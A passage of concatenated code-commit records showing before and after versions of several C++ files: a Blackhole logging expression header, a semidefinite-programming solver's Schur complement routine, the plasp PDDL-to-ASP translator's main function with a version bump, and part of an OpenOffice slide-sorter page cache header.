\/\/ namespace expression\n\n} \/\/ namespace blackhole\n<commit_msg>Minor refactoring.<commit_after>#pragma once\n\n#include <string>\n\n#include \"blackhole\/attribute.hpp\"\n#include \"blackhole\/expression\/helper.hpp\"\n#include \"blackhole\/filter.hpp\"\n#include \"blackhole\/utils\/underlying.hpp\"\n\nnamespace blackhole {\n\nnamespace expression {\n\ntemplate<typename T, class = void>\nstruct get_attr_action_t {\n typedef T result_type;\n\n const std::string name;\n\n result_type operator ()(const log::attributes_t& attributes) const {\n return attribute::traits<T>::extract(attributes, name);\n }\n\n filter_t operator ==(const T& other) const {\n return aux::Eq<get_attr_action_t<T>>({ *this, other });\n }\n\n filter_t operator <(const T& other) const {\n return aux::Less<get_attr_action_t<T>>({ *this, other });\n }\n};\n\ntemplate<typename T>\nstruct get_attr_action_t<T, typename std::enable_if<std::is_enum<T>::value>::type> {\n typedef T result_type;\n typedef typename blackhole::aux::underlying_type<T>::type underlying_type;\n\n const std::string name;\n\n result_type operator ()(const log::attributes_t& attributes) const {\n return attribute::traits<T>::extract(attributes, name);\n }\n\n filter_t operator ==(const T& other) const {\n return aux::Eq<get_attr_action_t<T>>({ *this, other });\n }\n\n filter_t operator <(const T& other) const {\n return aux::Less<get_attr_action_t<T>>({ *this, other });\n }\n};\n\ntemplate<typename T>\nget_attr_action_t<T> get_attr(const std::string& name) {\n return get_attr_action_t<T>({ name });\n}\n\ntemplate<typename T>\nget_attr_action_t<typename T::type> get_attr(const T&) {\n return get_attr<typename T::type>(std::string(T::name()));\n}\n\n} \/\/ namespace expression\n\n} \/\/ namespace blackhole\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/..\/lower_triangular_solve.hxx\"\n#include \"..\/..\/SDP_Solver.hxx\"\n#include \"..\/..\/..\/Timers.hxx\"\n\n\/\/ Compute the quantities needed to solve the Schur complement\n\/\/ equation\n\/\/\n\/\/ {{S, -B}, {B^T, 0}} . {dx, dy} = {r, s}\n\/\/\n\/\/ (where S = SchurComplement, B = FreeVarMatrix), using the method\n\/\/ described in the manual:\n\/\/\n\/\/ - Compute S using BilinearPairingsXInv and BilinearPairingsY.\n\/\/\n\/\/ - Compute the Cholesky decomposition S' = L' L'^T.\n\/\/\n\/\/ - Form B' = (B U) and compute\n\/\/\n\/\/ - SchurOffDiagonal = L'^{-1} B\n\/\/ - L'^{-1} U\n\/\/ - Q = (L'^{-1} B')^T (L'^{-1} B') - {{0, 0}, {0, 1}}\n\/\/\n\/\/ - Compute the LU decomposition of Q.\n\/\/\n\/\/ This data is sufficient to efficiently solve the above equation for\n\/\/ a given r,s.\n\/\/\n\/\/ Inputs:\n\/\/ - BilinearPairingsXInv, BilinearPairingsY (these are members of\n\/\/ SDPSolver, but we include them as arguments to emphasize that\n\/\/ they must be computed first)\n\/\/ Workspace (members of SDPSolver which are modified by this method\n\/\/ and not used later):\n\/\/ - SchurComplement\n\/\/ Outputs (members of SDPSolver which are modified by this method and\n\/\/ used later):\n\/\/ - SchurComplementCholesky\n\/\/ - SchurOffDiagonal\n\/\/\n\nvoid compute_schur_complement(\n const SDP &sdp, const Block_Diagonal_Matrix &bilinear_pairings_X_inv,\n const Block_Diagonal_Matrix &bilinear_pairings_Y,\n Block_Diagonal_Matrix &schur_complement);\n\nvoid SDP_Solver::initialize_schur_complement_solver(\n const Block_Diagonal_Matrix &bilinear_pairings_X_inv,\n const Block_Diagonal_Matrix &bilinear_pairings_Y,\n const std::vector<size_t> &block_sizes,\n const std::vector<size_t> &block_indices, const size_t &num_schur_blocks,\n const El::Grid &block_grid, const bool &debug,\n Block_Diagonal_Matrix &schur_complement_cholesky,\n Block_Matrix &schur_off_diagonal_block, El::DistMatrix<El::BigFloat> &Q)\n{\n \/\/ The Schur complement matrix S: a Block_Diagonal_Matrix with one\n \/\/ block for each 0 <= j < J. SchurComplement.blocks[j] has dimension\n \/\/ (d_j+1)*m_j*(m_j+1)\/2\n \/\/\n Block_Diagonal_Matrix schur_complement(block_sizes, block_indices,\n num_schur_blocks, block_grid);\n\n compute_schur_complement(sdp, bilinear_pairings_X_inv, bilinear_pairings_Y,\n schur_complement);\n\n \/\/ compute SchurComplementCholesky = L', where\n \/\/\n \/\/ L' L'^T = S'\n \/\/\n if(debug)\n {\n El::Output(\n El::mpi::Rank(),\n \" run.step.initializeSchurComplementSolver.choleskyDecomposition\");\n }\n timers[\"run.step.initializeSchurComplementSolver.choleskyDecomposition\"]\n .resume();\n cholesky_decomposition(schur_complement, schur_complement_cholesky);\n timers[\"run.step.initializeSchurComplementSolver.choleskyDecomposition\"]\n .stop();\n\n \/\/ SchurOffDiagonal = L'^{-1} FreeVarMatrix\n schur_off_diagonal_block = sdp.free_var_matrix;\n if(debug)\n {\n El::Output(El::mpi::Rank(), \" run.step.initializeSchurComplementSolver.\"\n \"blockMatrixLowerTriangularSolve\");\n }\n timers[\"run.step.initializeSchurComplementSolver.\"\n \"blockMatrixLowerTriangularSolve\"]\n .resume();\n lower_triangular_solve(schur_complement_cholesky, schur_off_diagonal_block);\n timers[\"run.step.initializeSchurComplementSolver.\"\n \"blockMatrixLowerTriangularSolve\"]\n .stop();\n\n \/\/ Next, we compute\n \/\/\n \/\/ Q = (L'^{-1} B')^T (L'^{-1} B') - {{0, 0}, {0, 1}}\n \/\/\n \/\/ Where B' = (B U). We think of Q as containing four blocks called\n \/\/ Upper\/Lower-Left\/Right.\n\n if(debug)\n {\n El::Output(El::mpi::Rank(),\n \" run.step.initializeSchurComplementSolver.Qcomputation\");\n }\n timers[\"run.step.initializeSchurComplementSolver.Qcomputation\"].resume();\n\n {\n \/\/ FIXME: This breaks if no blocks are assigned to this processor\n El::DistMatrix<El::BigFloat> Q_local(\n Q.Height(), Q.Width(), schur_off_diagonal_block.blocks.front().Grid());\n El::Zero(Q_local);\n for(auto &block : schur_off_diagonal_block.blocks)\n {\n El::DistMatrix<El::BigFloat> Q_local_view(\n El::View(Q_local, 0, 0, block.Width(), block.Width()));\n El::Syrk(El::UpperOrLowerNS::UPPER, El::OrientationNS::TRANSPOSE,\n El::BigFloat(1), block, El::BigFloat(1), Q_local_view);\n }\n El::MakeSymmetric(El::UpperOrLower::UPPER, Q_local);\n El::AllReduce(Q_local, El::mpi::COMM_WORLD);\n\n for(int64_t row = 0; row < Q.LocalHeight(); ++row)\n {\n int64_t global_row(Q.GlobalRow(row));\n for(int64_t column = 0; column < Q.LocalWidth(); ++column)\n {\n int64_t global_column(Q.GlobalCol(column));\n \/\/ FIXME: This assumes that there is one process per block.\n Q.SetLocal(row, column,\n Q_local.GetLocal(global_row, global_column));\n }\n }\n }\n timers[\"run.step.initializeSchurComplementSolver.Qcomputation\"].stop();\n\n if(debug)\n {\n El::Output(El::mpi::Rank(),\n \" run.step.initializeSchurComplementSolver.LUDecomposition\");\n }\n timers[\"run.step.initializeSchurComplementSolver.LUDecomposition\"].resume();\n Cholesky(El::UpperOrLowerNS::LOWER, Q);\n timers[\"run.step.initializeSchurComplementSolver.LUDecomposition\"].stop();\n}\n<commit_msg>Make a local copy of Cholesky(Q)<commit_after>#include \"..\/..\/lower_triangular_solve.hxx\"\n#include \"..\/..\/SDP_Solver.hxx\"\n#include \"..\/..\/..\/Timers.hxx\"\n\n\/\/ Compute the quantities needed to solve the Schur complement\n\/\/ equation\n\/\/\n\/\/ {{S, -B}, {B^T, 0}} . {dx, dy} = {r, s}\n\/\/\n\/\/ (where S = SchurComplement, B = FreeVarMatrix), using the method\n\/\/ described in the manual:\n\/\/\n\/\/ - Compute S using BilinearPairingsXInv and BilinearPairingsY.\n\/\/\n\/\/ - Compute the Cholesky decomposition S' = L' L'^T.\n\/\/\n\/\/ - Form B' = (B U) and compute\n\/\/\n\/\/ - SchurOffDiagonal = L'^{-1} B\n\/\/ - L'^{-1} U\n\/\/ - Q = (L'^{-1} B')^T (L'^{-1} B') - {{0, 0}, {0, 1}}\n\/\/\n\/\/ - Compute the LU decomposition of Q.\n\/\/\n\/\/ This data is sufficient to efficiently solve the above equation for\n\/\/ a given r,s.\n\/\/\n\/\/ Inputs:\n\/\/ - BilinearPairingsXInv, BilinearPairingsY (these are members of\n\/\/ SDPSolver, but we include them as arguments to emphasize that\n\/\/ they must be computed first)\n\/\/ Workspace (members of SDPSolver which are modified by this method\n\/\/ and not used later):\n\/\/ - SchurComplement\n\/\/ Outputs (members of SDPSolver which are modified by this method and\n\/\/ used later):\n\/\/ - SchurComplementCholesky\n\/\/ - SchurOffDiagonal\n\/\/\n\nvoid compute_schur_complement(\n const SDP &sdp, const Block_Diagonal_Matrix &bilinear_pairings_X_inv,\n const Block_Diagonal_Matrix &bilinear_pairings_Y,\n Block_Diagonal_Matrix &schur_complement);\n\nvoid SDP_Solver::initialize_schur_complement_solver(\n const Block_Diagonal_Matrix &bilinear_pairings_X_inv,\n const Block_Diagonal_Matrix &bilinear_pairings_Y,\n const std::vector<size_t> &block_sizes,\n const std::vector<size_t> &block_indices, const size_t &num_schur_blocks,\n const El::Grid &block_grid, const bool &debug,\n Block_Diagonal_Matrix &schur_complement_cholesky,\n Block_Matrix &schur_off_diagonal_block, El::DistMatrix<El::BigFloat> &Q)\n{\n \/\/ The Schur complement matrix S: a Block_Diagonal_Matrix with one\n \/\/ block for each 0 <= j < J. SchurComplement.blocks[j] has dimension\n \/\/ (d_j+1)*m_j*(m_j+1)\/2\n \/\/\n Block_Diagonal_Matrix schur_complement(block_sizes, block_indices,\n num_schur_blocks, block_grid);\n\n compute_schur_complement(sdp, bilinear_pairings_X_inv, bilinear_pairings_Y,\n schur_complement);\n\n \/\/ compute SchurComplementCholesky = L', where\n \/\/\n \/\/ L' L'^T = S'\n \/\/\n if(debug)\n {\n El::Output(\n El::mpi::Rank(),\n \" run.step.initializeSchurComplementSolver.choleskyDecomposition\");\n }\n timers[\"run.step.initializeSchurComplementSolver.choleskyDecomposition\"]\n .resume();\n cholesky_decomposition(schur_complement, schur_complement_cholesky);\n timers[\"run.step.initializeSchurComplementSolver.choleskyDecomposition\"]\n .stop();\n\n \/\/ SchurOffDiagonal = L'^{-1} FreeVarMatrix\n schur_off_diagonal_block = sdp.free_var_matrix;\n if(debug)\n {\n El::Output(El::mpi::Rank(), \" run.step.initializeSchurComplementSolver.\"\n \"blockMatrixLowerTriangularSolve\");\n }\n timers[\"run.step.initializeSchurComplementSolver.\"\n \"blockMatrixLowerTriangularSolve\"]\n .resume();\n lower_triangular_solve(schur_complement_cholesky, schur_off_diagonal_block);\n timers[\"run.step.initializeSchurComplementSolver.\"\n \"blockMatrixLowerTriangularSolve\"]\n .stop();\n\n \/\/ Next, we compute\n \/\/\n \/\/ Q = (L'^{-1} B')^T (L'^{-1} B') - {{0, 0}, {0, 1}}\n \/\/\n \/\/ Where B' = (B U). We think of Q as containing four blocks called\n \/\/ Upper\/Lower-Left\/Right.\n\n if(debug)\n {\n El::Output(El::mpi::Rank(),\n \" run.step.initializeSchurComplementSolver.Q_Syrk\");\n }\n timers[\"run.step.initializeSchurComplementSolver.Q_Syrk\"].resume();\n\n \/\/ FIXME: This breaks if no blocks are assigned to this processor\n El::DistMatrix<El::BigFloat> Q_local(\n Q.Height(), Q.Width(), schur_off_diagonal_block.blocks.front().Grid());\n El::Zero(Q_local);\n for(auto &block : schur_off_diagonal_block.blocks)\n {\n El::DistMatrix<El::BigFloat> Q_local_view(\n El::View(Q_local, 0, 0, block.Width(), block.Width()));\n El::Syrk(El::UpperOrLowerNS::UPPER, El::OrientationNS::TRANSPOSE,\n El::BigFloat(1), block, El::BigFloat(1), Q_local_view);\n }\n El::MakeSymmetric(El::UpperOrLower::UPPER, Q_local);\n El::AllReduce(Q_local, El::mpi::COMM_WORLD);\n\n for(int64_t row = 0; row < Q.LocalHeight(); ++row)\n {\n int64_t global_row(Q.GlobalRow(row));\n for(int64_t column = 0; column < Q.LocalWidth(); ++column)\n {\n int64_t global_column(Q.GlobalCol(column));\n \/\/ FIXME: This assumes that there is one process per block.\n Q.SetLocal(row, column, Q_local.GetLocal(global_row, global_column));\n }\n }\n\n timers[\"run.step.initializeSchurComplementSolver.Q_Syrk\"].stop();\n\n if(debug)\n {\n El::Output(El::mpi::Rank(),\n \" run.step.initializeSchurComplementSolver.Q_Cholesky\");\n }\n timers[\"run.step.initializeSchurComplementSolver.Q_Cholesky\"].resume();\n Cholesky(El::UpperOrLowerNS::LOWER, Q);\n timers[\"run.step.initializeSchurComplementSolver.Q_Cholesky\"].stop();\n if(debug)\n {\n El::Output(El::mpi::Rank(),\n \" run.step.initializeSchurComplementSolver.Q_copy\");\n }\n timers[\"run.step.initializeSchurComplementSolver.Q_copy\"].resume();\n\n Q.ReservePulls(Q_local.LocalHeight() * Q_local.LocalWidth());\n for(int64_t row = 0; row < Q_local.LocalHeight(); ++row)\n {\n int64_t global_row(Q_local.GlobalRow(row));\n for(int64_t column = 0; column < Q_local.LocalWidth(); ++column)\n {\n int64_t global_column(Q_local.GlobalCol(column));\n Q.QueuePull(global_row, global_column);\n }\n }\n std::vector<El::BigFloat> pulls;\n Q.ProcessPullQueue(pulls);\n\n auto pull(pulls.begin());\n for(int64_t row = 0; row < Q_local.LocalHeight(); ++row)\n {\n for(int64_t column = 0; column < Q_local.LocalWidth(); ++column)\n {\n Q_local.SetLocal(row, column, *pull);\n ++pull;\n }\n }\n timers[\"run.step.initializeSchurComplementSolver.Q_copy\"].stop();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <algorithm>\n#include <iostream>\n#include <string>\n\n#include <boost\/program_options.hpp>\n\n#include <plasp\/LanguageDetection.h>\n#include <plasp\/pddl\/Description.h>\n#include <plasp\/pddl\/TranslatorASP.h>\n#include <plasp\/sas\/Description.h>\n#include <plasp\/sas\/TranslatorASP.h>\n#include <plasp\/utils\/LogStream.h>\n#include <plasp\/utils\/TranslatorException.h>\n\nint main(int argc, char **argv)\n{\n\tnamespace po = boost::program_options;\n\n\tpo::options_description description(\"Allowed options\");\n\tdescription.add_options()\n\t\t(\"help,h\", \"Display this help message.\")\n\t\t(\"version,v\", \"Display version information.\")\n\t\t(\"input,i\", po::value<std::vector<std::string>>(), \"Specify the PDDL or SAS input file.\")\n\t\t(\"language,l\", po::value<std::string>(), \"Specify the input language (sas or pddl). Omit for automatic detection.\")\n\t\t(\"warning-level\", po::value<std::string>()->default_value(\"normal\"), \"Specify whether to output warnings normally (normal), to treat them as critical errors (error), or to ignore them (ignore).\")\n\t\t(\"color\", po::value<std::string>()->default_value(\"auto\"), \"Specify whether to colorize the output (always, never, or auto).\");\n\n\tpo::positional_options_description positionalOptionsDescription;\n\tpositionalOptionsDescription.add(\"input\", -1);\n\n\tpo::variables_map variablesMap;\n\n\tconst auto printHelp =\n\t\t[&]()\n\t\t{\n\t\t\tstd::cout << \"Usage: plasp [files] [options]\" << std::endl;\n\t\t\tstd::cout << \"Translate PDDL instances to ASP facts.\" << std::endl << std::endl;\n\n\t\t\tstd::cout << description;\n\t\t};\n\n\tplasp::utils::Logger logger;\n\n\ttry\n\t{\n\t\tpo::store(po::command_line_parser(argc, argv)\n\t\t\t.options(description)\n\t\t\t.positional(positionalOptionsDescription)\n\t\t\t.run(),\n\t\t\tvariablesMap);\n\t\tpo::notify(variablesMap);\n\t}\n\tcatch (const po::error &e)\n\t{\n\t\tlogger.logError(e.what());\n\t\tstd::cout << std::endl;\n\t\tprintHelp();\n\t\treturn EXIT_FAILURE;\n\t}\n\n\tif (variablesMap.count(\"help\"))\n\t{\n\t\tprintHelp();\n\t\treturn EXIT_SUCCESS;\n\t}\n\n\tif (variablesMap.count(\"version\"))\n\t{\n\t\tstd::cout << \"plasp version 3.0.1-git\" << std::endl;\n\t\treturn EXIT_SUCCESS;\n\t}\n\n\tconst auto warningLevel = variablesMap[\"warning-level\"].as<std::string>();\n\n\tif (warningLevel == \"error\")\n\t\tlogger.setWarningLevel(plasp::utils::Logger::WarningLevel::Error);\n\telse if (warningLevel == \"ignore\")\n\t\tlogger.setWarningLevel(plasp::utils::Logger::WarningLevel::Ignore);\n\telse if (warningLevel == \"normal\")\n\t\tlogger.setWarningLevel(plasp::utils::Logger::WarningLevel::Normal);\n\telse\n\t{\n\t\tlogger.logError(\"unknown warning level “\" + warningLevel + \"”\");\n\t\tstd::cout << std::endl;\n\t\tprintHelp();\n\t\treturn EXIT_FAILURE;\n\t}\n\n\tconst auto colorPolicy = variablesMap[\"color\"].as<std::string>();\n\n\tif (colorPolicy == \"auto\")\n\t\tlogger.setColorPolicy(plasp::utils::LogStream::ColorPolicy::Auto);\n\telse if (colorPolicy == \"never\")\n\t\tlogger.setColorPolicy(plasp::utils::LogStream::ColorPolicy::Never);\n\telse if (colorPolicy == \"always\")\n\t\tlogger.setColorPolicy(plasp::utils::LogStream::ColorPolicy::Always);\n\telse\n\t{\n\t\tlogger.logError(\"unknown color policy “\" + colorPolicy + \"”\");\n\t\tstd::cout << std::endl;\n\t\tprintHelp();\n\t\treturn EXIT_FAILURE;\n\t}\n\n\ttry\n\t{\n\t\tplasp::utils::Parser<plasp::utils::CaseInsensitiveParserPolicy> parser;\n\n\t\tif (variablesMap.count(\"input\"))\n\t\t{\n\t\t\tconst auto &inputFiles = variablesMap[\"input\"].as<std::vector<std::string>>();\n\n\t\t\tstd::for_each(inputFiles.cbegin(), inputFiles.cend(),\n\t\t\t\t[&](const auto &inputFile)\n\t\t\t\t{\n\t\t\t\t\tparser.read(inputFile);\n\t\t\t\t});\n\t\t}\n\t\telse\n\t\t\tparser.read(\"std::cin\", std::cin);\n\n\t\tconst auto detectLanguage =\n\t\t\t[&]()\n\t\t\t{\n\t\t\t\tif (variablesMap.count(\"language\") == 0)\n\t\t\t\t\treturn plasp::detectLanguage(parser);\n\n\t\t\t\tconst auto languageName = variablesMap[\"language\"].as<std::string>();\n\n\t\t\t\treturn plasp::Language::fromString(languageName);\n\t\t\t};\n\n\t\tconst auto language = detectLanguage();\n\n\t\tif (language == plasp::Language::Type::Unknown)\n\t\t{\n\t\t\tlogger.logError(\"unknown input language\");\n\t\t\tstd::cout << std::endl;\n\t\t\tprintHelp();\n\t\t\treturn EXIT_FAILURE;\n\t\t}\n\n\t\tif (language == plasp::Language::Type::PDDL)\n\t\t{\n\t\t\tauto pddlLogger = logger;\n\t\t\tauto context = plasp::pddl::Context(std::move(parser), std::move(pddlLogger));\n\t\t\tauto description = plasp::pddl::Description::fromContext(std::move(context));\n\t\t\tconst auto translator = plasp::pddl::TranslatorASP(description, description.context().logger.outputStream());\n\t\t\ttranslator.translate();\n\t\t}\n\t\telse if (language == plasp::Language::Type::SAS)\n\t\t{\n\t\t\tconst auto description = plasp::sas::Description::fromParser(std::move(parser));\n\t\t\tconst auto translator = plasp::sas::TranslatorASP(description, logger.outputStream());\n\t\t\ttranslator.translate();\n\t\t}\n\t}\n\tcatch (const plasp::utils::ParserException &e)\n\t{\n\t\tlogger.logError(e.coordinate(), e.message());\n\t\treturn EXIT_FAILURE;\n\t}\n\tcatch (const plasp::utils::TranslatorException &e)\n\t{\n\t\tlogger.logError(e.what());\n\t\treturn EXIT_FAILURE;\n\t}\n\tcatch (const std::exception &e)\n\t{\n\t\tlogger.logError(e.what());\n\t\treturn EXIT_FAILURE;\n\t}\n\n\treturn EXIT_SUCCESS;\n}\n<commit_msg>Version bump for release 3.0.2 RC 1.<commit_after>#include <algorithm>\n#include <iostream>\n#include <string>\n\n#include <boost\/program_options.hpp>\n\n#include <plasp\/LanguageDetection.h>\n#include <plasp\/pddl\/Description.h>\n#include <plasp\/pddl\/TranslatorASP.h>\n#include <plasp\/sas\/Description.h>\n#include <plasp\/sas\/TranslatorASP.h>\n#include <plasp\/utils\/LogStream.h>\n#include <plasp\/utils\/TranslatorException.h>\n\nint main(int argc, char **argv)\n{\n\tnamespace po = boost::program_options;\n\n\tpo::options_description description(\"Allowed options\");\n\tdescription.add_options()\n\t\t(\"help,h\", \"Display this help message.\")\n\t\t(\"version,v\", \"Display version information.\")\n\t\t(\"input,i\", po::value<std::vector<std::string>>(), \"Specify the PDDL or SAS input file.\")\n\t\t(\"language,l\", po::value<std::string>(), \"Specify the input language (sas or pddl). Omit for automatic detection.\")\n\t\t(\"warning-level\", po::value<std::string>()->default_value(\"normal\"), \"Specify whether to output warnings normally (normal), to treat them as critical errors (error), or to ignore them (ignore).\")\n\t\t(\"color\", po::value<std::string>()->default_value(\"auto\"), \"Specify whether to colorize the output (always, never, or auto).\");\n\n\tpo::positional_options_description positionalOptionsDescription;\n\tpositionalOptionsDescription.add(\"input\", -1);\n\n\tpo::variables_map variablesMap;\n\n\tconst auto printHelp =\n\t\t[&]()\n\t\t{\n\t\t\tstd::cout << \"Usage: plasp [files] [options]\" << std::endl;\n\t\t\tstd::cout << \"Translate PDDL instances to ASP facts.\" << std::endl << std::endl;\n\n\t\t\tstd::cout << description;\n\t\t};\n\n\tplasp::utils::Logger logger;\n\n\ttry\n\t{\n\t\tpo::store(po::command_line_parser(argc, argv)\n\t\t\t.options(description)\n\t\t\t.positional(positionalOptionsDescription)\n\t\t\t.run(),\n\t\t\tvariablesMap);\n\t\tpo::notify(variablesMap);\n\t}\n\tcatch (const po::error &e)\n\t{\n\t\tlogger.logError(e.what());\n\t\tstd::cout << std::endl;\n\t\tprintHelp();\n\t\treturn EXIT_FAILURE;\n\t}\n\n\tif (variablesMap.count(\"help\"))\n\t{\n\t\tprintHelp();\n\t\treturn EXIT_SUCCESS;\n\t}\n\n\tif (variablesMap.count(\"version\"))\n\t{\n\t\tstd::cout << \"plasp version 3.0.2-rc.1\" << std::endl;\n\t\treturn EXIT_SUCCESS;\n\t}\n\n\tconst auto warningLevel = variablesMap[\"warning-level\"].as<std::string>();\n\n\tif (warningLevel == \"error\")\n\t\tlogger.setWarningLevel(plasp::utils::Logger::WarningLevel::Error);\n\telse if (warningLevel == \"ignore\")\n\t\tlogger.setWarningLevel(plasp::utils::Logger::WarningLevel::Ignore);\n\telse if (warningLevel == \"normal\")\n\t\tlogger.setWarningLevel(plasp::utils::Logger::WarningLevel::Normal);\n\telse\n\t{\n\t\tlogger.logError(\"unknown warning level “\" + warningLevel + \"”\");\n\t\tstd::cout << std::endl;\n\t\tprintHelp();\n\t\treturn EXIT_FAILURE;\n\t}\n\n\tconst auto colorPolicy = variablesMap[\"color\"].as<std::string>();\n\n\tif (colorPolicy == \"auto\")\n\t\tlogger.setColorPolicy(plasp::utils::LogStream::ColorPolicy::Auto);\n\telse if (colorPolicy == \"never\")\n\t\tlogger.setColorPolicy(plasp::utils::LogStream::ColorPolicy::Never);\n\telse if (colorPolicy == \"always\")\n\t\tlogger.setColorPolicy(plasp::utils::LogStream::ColorPolicy::Always);\n\telse\n\t{\n\t\tlogger.logError(\"unknown color policy “\" + colorPolicy + \"”\");\n\t\tstd::cout << std::endl;\n\t\tprintHelp();\n\t\treturn EXIT_FAILURE;\n\t}\n\n\ttry\n\t{\n\t\tplasp::utils::Parser<plasp::utils::CaseInsensitiveParserPolicy> parser;\n\n\t\tif (variablesMap.count(\"input\"))\n\t\t{\n\t\t\tconst auto &inputFiles = variablesMap[\"input\"].as<std::vector<std::string>>();\n\n\t\t\tstd::for_each(inputFiles.cbegin(), inputFiles.cend(),\n\t\t\t\t[&](const auto &inputFile)\n\t\t\t\t{\n\t\t\t\t\tparser.read(inputFile);\n\t\t\t\t});\n\t\t}\n\t\telse\n\t\t\tparser.read(\"std::cin\", std::cin);\n\n\t\tconst auto detectLanguage =\n\t\t\t[&]()\n\t\t\t{\n\t\t\t\tif (variablesMap.count(\"language\") == 0)\n\t\t\t\t\treturn plasp::detectLanguage(parser);\n\n\t\t\t\tconst auto languageName = variablesMap[\"language\"].as<std::string>();\n\n\t\t\t\treturn plasp::Language::fromString(languageName);\n\t\t\t};\n\n\t\tconst auto language = detectLanguage();\n\n\t\tif (language == plasp::Language::Type::Unknown)\n\t\t{\n\t\t\tlogger.logError(\"unknown input language\");\n\t\t\tstd::cout << std::endl;\n\t\t\tprintHelp();\n\t\t\treturn EXIT_FAILURE;\n\t\t}\n\n\t\tif (language == plasp::Language::Type::PDDL)\n\t\t{\n\t\t\tauto pddlLogger = logger;\n\t\t\tauto context = plasp::pddl::Context(std::move(parser), std::move(pddlLogger));\n\t\t\tauto description = plasp::pddl::Description::fromContext(std::move(context));\n\t\t\tconst auto translator = plasp::pddl::TranslatorASP(description, description.context().logger.outputStream());\n\t\t\ttranslator.translate();\n\t\t}\n\t\telse if (language == plasp::Language::Type::SAS)\n\t\t{\n\t\t\tconst auto description = plasp::sas::Description::fromParser(std::move(parser));\n\t\t\tconst auto translator = plasp::sas::TranslatorASP(description, logger.outputStream());\n\t\t\ttranslator.translate();\n\t\t}\n\t}\n\tcatch (const plasp::utils::ParserException &e)\n\t{\n\t\tlogger.logError(e.coordinate(), e.message());\n\t\treturn EXIT_FAILURE;\n\t}\n\tcatch (const plasp::utils::TranslatorException &e)\n\t{\n\t\tlogger.logError(e.what());\n\t\treturn EXIT_FAILURE;\n\t}\n\tcatch (const std::exception &e)\n\t{\n\t\tlogger.logError(e.what());\n\t\treturn EXIT_FAILURE;\n\t}\n\n\treturn EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: SlsGenericPageCache.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: pjunck $ $Date: 2004-10-28 13:28:20 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef SD_SLIDESORTER_GENERIC_PAGE_CACHE_HXX\n#define SD_SLIDESORTER_GENERIC_PAGE_CACHE_HXX\n\n#include \"SlsQueueProcessor.hxx\"\n#include \"view\/SlsPageObjectViewObjectContact.hxx\"\n\n\nnamespace sd { namespace slidesorter { namespace model {\nclass SlideSorterModel;\n} } }\n\nnamespace sd { namespace slidesorter { namespace view {\nclass SlideSorterView;\n} } }\n\nnamespace sd { namespace slidesorter { namespace cache {\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CacheCompactionPolicy,\n class QueueProcessor>\nclass GenericPageCache\n{\npublic:\n \/** The page chache is created with references both to the view and the\n model so that it can fill itself with requests for all or just the\n visible pages.\n *\/\n GenericPageCache (\n view::SlideSorterView& rView,\n model::SlideSorterModel& rModel,\n sal_Int32 nMaximalCacheSize);\n\n ~GenericPageCache (void);\n\n \/** Request a preview bitmap for the specified page object in the\n specified size. The returned bitmap may be preview of the preview,\n i.e. either a scaled (up or down) version of a previous preview (of\n the wrong size) or an empty bitmap. In this case a request for the\n generation of a new preview is created and inserted into the request\n queue. When the preview is available the page shape will be told to\n paint itself again. When it then calls this method again if\n receives the correctly sized preview bitmap.\n @param rRequestData\n This data is used to determine the preview.\n @param rSize\n The size of the requested preview bitmap.\n @return\n Returns a bitmap that is either empty, contains a scaled (up or\n down) version or is the requested bitmap.\n *\/\n BitmapEx GetPreviewBitmap (\n RequestData& rRequestData,\n const Size& rSize);\n\n \/** When the requested preview bitmap does not yet exist or is not\n up-to-date then the rendering of one is scheduled. Otherwise this\n method does nothing.\n @param rRequestData\n This data is used to determine the preview.\n @param rSize\n The size of the requested preview bitmap in pixel coordinates.\n @param bMayBeUpToDate\n This flag helps the method to determine whether an existing\n preview that matches the request is up to date. If the caller\n know that it is not then by passing <FALSE\/> he tells us that we\n do not have to check the up-to-date flag a second time. If\n unsure pass <TRUE\/>.\n *\/\n void RequestPreviewBitmap (\n RequestData& rRequestData,\n const Size& rSize,\n bool bMayBeUpToDate = true);\n\n \/** Tell the cache to replace the bitmap associated with the given\n request data with a new one that reflects recent changes in the\n content of the page object.\n *\/\n void InvalidatePreviewBitmap (const RequestData& rRequestData);\n\n \/** Lower the priority with which the request associated with the given\n data will be processed. Call this method when the visibility of a\n page object changes (from visible to not visible) and the request\n becomes a ahead-of-time request. When the request is already in the\n lowest class it will be removed.\n *\/\n void DecreaseRequestPriority (RequestData& rRequestData);\n\n \/** Move the request associated with the given data into a higher\n priority class and increase its priority in that class above all\n other elements in the 